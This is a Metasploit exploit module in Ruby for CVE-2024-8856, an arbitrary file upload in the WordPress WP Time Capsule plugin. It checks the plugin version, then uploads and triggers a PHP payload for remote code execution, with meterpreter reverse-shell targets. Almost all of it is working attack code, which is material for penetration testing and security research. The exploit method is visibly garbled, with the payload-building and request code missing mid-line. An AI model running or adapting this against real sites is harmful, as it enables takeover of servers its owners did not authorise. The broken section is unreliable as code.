## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress WP Time Capsule Arbitrary File Upload to RCE', 'Description' => %q{ This module exploits an arbitrary file upload vulnerability in the WordPress WP Time Capsule plugin (versions <= 1.22.21). The vulnerability allows uploading a malicious PHP file to achieve remote code execution (RCE). The validation logic in the vulnerable function improperly checks for allowed extensions. If no valid extension is found, the check can be bypassed by using a filename of specific length (e.g., "00.php") matching the length of allowed extensions like ".crypt". }, 'Author' => [ 'Valentin Lobstein', # Metasploit module 'Rein Daelman' # Vulnerability discovery ], 'References' => [ ['CVE', '2024-8856'], ['URL', 'https://hacked.be/posts/CVE-2024-8856'], ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-capsule/backup-and-staging-by-wp-time-capsule-12221-unauthenticated-arbitrary-file-upload'] ], 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => %w[php unix linux win], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ], [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD # tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2024-11-15', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) end def php_exec_cmd(encoded_payload) dis = '$' + Rex::RandomIdentifier::Generator.new.generate b64_encoded_payload = Rex::Text.encode_base64(encoded_payload) shell = <<-END_OF_PHP_CODE #{php_preamble(disabled_varname: dis)} $cmd = base64_decode("#{b64_encoded_payload}"); #{php_system_block(cmd_varname: '$cmd', disabled_varname: dis)} END_OF_PHP_CODE return Rex::Text.compress(shell) end def check return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online? plugin_check = check_plugin_version_from_readme('wp-time-capsule', '1.22.22') case plugin_check.code when 'appears' return CheckCode::Appears('WP Time Capsule plugin appears to be vulnerable.') when 'safe' return CheckCode::Safe('WP Time Capsule plugin is patched or not vulnerable.') end CheckCode::Unknown('No vulnerable plugins were detected.') end def exploit base_path = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-time-capsule', 'wp-tcapsule-bridge', 'upload', 'php') upload_path = normalize_uri(base_path, 'index.php') # Generate random filename matching constraints (6 characters total, ending in .php) filename_prefix = Rex::Text.rand_text_alphanumeric(2) payload_name = "#{filename_prefix}.php" random_mime_type = Faker::File.mime_type phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) b64_payload = ' 'POST', 'uri' => upload_path, 'ctype' => 'multipart/form-data; boundary=' + mime.bound, 'data' => mime.to_s ) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to upload payload') end vprint_good('Payload uploaded successfully. Parsing response...') json_response = res.get_json_document url = json_response.dig('files', 0, 'url') fail_with(Failure::UnexpectedReply, "Failed to extract URL from response. Response body: #{res.body}") if url.nil? vprint_status("Triggering the payload at: #{url}") send_request_cgi( 'method' => 'GET', 'uri' => URI(url).path ) end end